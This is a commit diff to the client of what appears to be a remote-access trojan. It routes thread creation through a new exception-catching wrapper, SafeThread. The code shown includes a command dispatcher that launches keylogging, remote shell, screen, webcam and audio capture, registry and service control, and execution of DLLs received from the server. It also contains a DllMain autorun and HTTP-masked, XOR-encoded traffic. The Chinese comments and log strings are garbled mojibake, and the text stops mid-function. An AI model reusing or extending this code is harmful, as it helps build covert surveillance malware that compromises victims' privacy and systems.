Improve client stability by handling exceptions
This commit is contained in:
@@ -6,6 +6,12 @@
|
|||||||
#include "Audio.h"
|
#include "Audio.h"
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
|
||||||
|
#ifdef _WINDOWS
|
||||||
|
#define __CreateThread CreateThread
|
||||||
|
#else
|
||||||
|
#include "SafeThread.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -108,7 +114,7 @@ BOOL CAudio::InitializeWaveIn()
|
|||||||
MMRESULT mmResult;
|
MMRESULT mmResult;
|
||||||
DWORD dwThreadID = 0;
|
DWORD dwThreadID = 0;
|
||||||
|
|
||||||
m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
|
m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0,
|
||||||
waveInCallBack, (LPVOID)this,
|
waveInCallBack, (LPVOID)this,
|
||||||
CREATE_SUSPENDED, &dwThreadID);
|
CREATE_SUSPENDED, &dwThreadID);
|
||||||
|
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
szPacket = NULL;
|
szPacket = NULL;
|
||||||
|
|
||||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -69,7 +69,7 @@ DWORD WINAPI StartClientApp(LPVOID param) {
|
|||||||
|
|
||||||
do {
|
do {
|
||||||
bExit = S_CLIENT_NORMAL;
|
bExit = S_CLIENT_NORMAL;
|
||||||
HANDLE hThread = CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
||||||
|
|
||||||
WaitForSingleObject(hThread, INFINITE);
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
CloseHandle(hThread);
|
CloseHandle(hThread);
|
||||||
@@ -254,7 +254,7 @@ int main(int argc, const char *argv[])
|
|||||||
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
||||||
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
||||||
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
||||||
handles[i] = CreateThread(0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
||||||
if (handles[i] == 0) {
|
if (handles[i] == 0) {
|
||||||
Mprintf("<EFBFBD>߳<EFBFBD> %d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>: %d\n", i, errno);
|
Mprintf("<EFBFBD>߳<EFBFBD> %d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>: %d\n", i, errno);
|
||||||
}
|
}
|
||||||
@@ -301,7 +301,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|||||||
case DLL_PROCESS_ATTACH:
|
case DLL_PROCESS_ATTACH:
|
||||||
{
|
{
|
||||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||||
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case DLL_PROCESS_DETACH:
|
case DLL_PROCESS_DETACH:
|
||||||
@@ -324,7 +324,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
|||||||
app.SetProcessState(S_CLIENT_NORMAL);
|
app.SetProcessState(S_CLIENT_NORMAL);
|
||||||
settings.SetServer(szServerIP, uPort);
|
settings.SetServer(szServerIP, uPort);
|
||||||
|
|
||||||
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
|
HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL);
|
||||||
if (hThread == NULL) {
|
if (hThread == NULL) {
|
||||||
app.SetThreadRun(FALSE);
|
app.SetThreadRun(FALSE);
|
||||||
return;
|
return;
|
||||||
@@ -477,7 +477,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
for (int i=1; i<list.size(); ++i){
|
for (int i=1; i<list.size(); ++i){
|
||||||
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||||||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
||||||
if (nullptr != a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
|
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||||
}
|
}
|
||||||
// The main ClientApp.
|
// The main ClientApp.
|
||||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||||
|
|||||||
@@ -180,6 +180,7 @@
|
|||||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
<ClCompile Include="RegisterManager.cpp" />
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
<ClCompile Include="RegisterOperation.cpp" />
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="SafeThread.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
@@ -212,6 +213,7 @@
|
|||||||
<ClInclude Include="RegisterManager.h" />
|
<ClInclude Include="RegisterManager.h" />
|
||||||
<ClInclude Include="RegisterOperation.h" />
|
<ClInclude Include="RegisterOperation.h" />
|
||||||
<ClInclude Include="resource.h" />
|
<ClInclude Include="resource.h" />
|
||||||
|
<ClInclude Include="SafeThread.h" />
|
||||||
<ClInclude Include="ScreenCapture.h" />
|
<ClInclude Include="ScreenCapture.h" />
|
||||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||||
<ClInclude Include="ScreenManager.h" />
|
<ClInclude Include="ScreenManager.h" />
|
||||||
|
|||||||
@@ -236,6 +236,8 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
|
|||||||
si.lpDesktop = "WinSta0\\Default";
|
si.lpDesktop = "WinSta0\\Default";
|
||||||
|
|
||||||
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -103,6 +103,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask, int en
|
|||||||
m_Manager = NULL;
|
m_Manager = NULL;
|
||||||
m_masker = mask ? new HttpMask("example.com") : new PkgMask();
|
m_masker = mask ? new HttpMask("example.com") : new PkgMask();
|
||||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||||
|
m_EncoderType = encoder;
|
||||||
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
WSADATA wsaData;
|
WSADATA wsaData;
|
||||||
@@ -268,7 +269,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
}
|
}
|
||||||
if (m_hWorkThread == NULL){
|
if (m_hWorkThread == NULL){
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL);
|
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||||
#else
|
#else
|
||||||
pthread_t id = 0;
|
pthread_t id = 0;
|
||||||
|
|||||||
@@ -18,6 +18,7 @@
|
|||||||
#include "common/header.h"
|
#include "common/header.h"
|
||||||
#define NO_AES
|
#define NO_AES
|
||||||
#include "common/encrypt.h"
|
#include "common/encrypt.h"
|
||||||
|
#include "SafeThread.h"
|
||||||
|
|
||||||
#define MAX_RECV_BUFFER 1024*32
|
#define MAX_RECV_BUFFER 1024*32
|
||||||
#define MAX_SEND_BUFFER 1024*32
|
#define MAX_SEND_BUFFER 1024*32
|
||||||
@@ -41,6 +42,7 @@ public:
|
|||||||
}
|
}
|
||||||
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
|
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||||
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
|
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||||
|
virtual EncFun GetHeaderEncoder() const { return nullptr; }
|
||||||
};
|
};
|
||||||
|
|
||||||
class HellEncoder : public ProtocolEncoder {
|
class HellEncoder : public ProtocolEncoder {
|
||||||
@@ -70,6 +72,9 @@ public:
|
|||||||
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override {
|
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override {
|
||||||
return m_BodyEnc->Decode(data, len, param);
|
return m_BodyEnc->Decode(data, len, param);
|
||||||
}
|
}
|
||||||
|
virtual EncFun GetHeaderEncoder() const override {
|
||||||
|
return m_HeaderEnc;
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
class IOCPManager {
|
class IOCPManager {
|
||||||
@@ -181,4 +186,5 @@ protected:
|
|||||||
int m_nHostPort;
|
int m_nHostPort;
|
||||||
bool m_exit_while_disconnect;
|
bool m_exit_while_disconnect;
|
||||||
PkgMask* m_masker;
|
PkgMask* m_masker;
|
||||||
|
BOOL m_EncoderType;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
|
||||||
if (m_hWorkThread == NULL) {
|
if (m_hWorkThread == NULL) {
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
||||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||||
#else
|
#else
|
||||||
pthread_t id = 0;
|
pthread_t id = 0;
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
|||||||
tKeyboard.run = FOREVER_RUN;
|
tKeyboard.run = FOREVER_RUN;
|
||||||
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType());
|
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType());
|
||||||
tKeyboard.conn = conn;
|
tKeyboard.conn = conn;
|
||||||
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
||||||
return &tKeyboard;
|
return &tKeyboard;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -295,7 +295,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
if (data) {
|
if (data) {
|
||||||
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
|
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
|
||||||
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL));
|
||||||
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
|
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
@@ -304,7 +304,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_PROXY: {
|
case COMMAND_PROXY: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -313,7 +313,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
switch (szBuffer[1]) {
|
switch (szBuffer[1]) {
|
||||||
case SHARE_TYPE_YAMA: {
|
case SHARE_TYPE_YAMA: {
|
||||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||||
if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
|
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case SHARE_TYPE_HOLDINGHANDS:
|
case SHARE_TYPE_HOLDINGHANDS:
|
||||||
@@ -340,10 +340,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
||||||
{
|
{
|
||||||
if (m_hKeyboard) {
|
if (m_hKeyboard) {
|
||||||
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
} else {
|
} else {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -352,28 +352,28 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SHELL:
|
case COMMAND_SHELL:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -402,42 +402,42 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount].user = user;
|
m_hThread[m_ulThreadCount].user = user;
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_LIST_DRIVE :
|
case COMMAND_LIST_DRIVE :
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WEBCAM:
|
case COMMAND_WEBCAM:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_AUDIO:
|
case COMMAND_AUDIO:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_REGEDIT:
|
case COMMAND_REGEDIT:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SERVICES:
|
case COMMAND_SERVICES:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
97
client/SafeThread.cpp
Normal file
97
client/SafeThread.cpp
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
#include "stdafx.h"
|
||||||
|
#include "SafeThread.h"
|
||||||
|
#include <stdexcept>
|
||||||
|
#include <map>
|
||||||
|
|
||||||
|
// RoutineInfo <20><>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ.
|
||||||
|
typedef struct RoutineInfo
|
||||||
|
{
|
||||||
|
DWORD tid; // <20>߳<EFBFBD>ID
|
||||||
|
|
||||||
|
LPTHREAD_START_ROUTINE Func; // <20>̺߳<DFB3><CCBA><EFBFBD>
|
||||||
|
LPVOID Param; // <20>̲߳<DFB3><CCB2><EFBFBD>
|
||||||
|
|
||||||
|
OnException Excep; // <20>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
LPVOID User; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
std::string File; // <20><><EFBFBD><EFBFBD><EFBFBD>̵߳<DFB3><CCB5>ļ<EFBFBD>
|
||||||
|
int Line; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
std::string Name; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
bool Trace; // <><D7B7><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
}RoutineInfo;
|
||||||
|
|
||||||
|
DWORD HandleCppException(RoutineInfo& ri) {
|
||||||
|
try {
|
||||||
|
return ri.Func(ri.Param); // <20><><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD>̺߳<DFB3><CCBA><EFBFBD>
|
||||||
|
}
|
||||||
|
catch (const std::exception& e) {
|
||||||
|
if (ri.Excep) {
|
||||||
|
Mprintf("[%d] <20><><EFBFBD><EFBFBD> C++ <20>쳣: %s. [%s:%d]\n", ri.tid, e.what(), ri.File.c_str(), ri.Line);
|
||||||
|
return ri.Excep(ri.User, ri.Param);
|
||||||
|
}
|
||||||
|
Mprintf("[%d] <20><><EFBFBD><EFBFBD> C++ <20>쳣: %s. û<><C3BB><EFBFBD>ṩ<EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[%s:%d]!\n", ri.tid, e.what(), ri.File.c_str(), ri.Line);
|
||||||
|
}
|
||||||
|
catch (...) {
|
||||||
|
if (ri.Excep) {
|
||||||
|
Mprintf("[%d] <20><><EFBFBD><EFBFBD>δ֪ C++ <20>쳣. [%s:%d]\n", ri.tid, ri.File.c_str(), ri.Line);
|
||||||
|
return ri.Excep(ri.User, ri.Param);
|
||||||
|
}
|
||||||
|
Mprintf("[%d] <20><><EFBFBD><EFBFBD>δ֪ C++ <20>쳣. û<><C3BB><EFBFBD>ṩ<EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[%s:%d]!\n", ri.tid, ri.File.c_str(), ri.Line);
|
||||||
|
}
|
||||||
|
return 0xDEAD0002;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD HandleSEHException(RoutineInfo & ri) {
|
||||||
|
__try {
|
||||||
|
// ִ<><D6B4>ʵ<EFBFBD><CAB5><EFBFBD>̺߳<DFB3><CCBA><EFBFBD>
|
||||||
|
return HandleCppException(ri);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
|
if (ri.Excep) {
|
||||||
|
Mprintf("[%d] <20><><EFBFBD><EFBFBD>Ӳ<EFBFBD><D3B2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD>̲߳<DFB3><CCB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. [%s:%d] Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode());
|
||||||
|
return ri.Excep(ri.User, ri.Param);
|
||||||
|
}
|
||||||
|
Mprintf("[%d] <20><><EFBFBD><EFBFBD>Ӳ<EFBFBD><D3B2><EFBFBD>쳣. û<><C3BB><EFBFBD>ṩ<EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[%s:%d]! Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode());
|
||||||
|
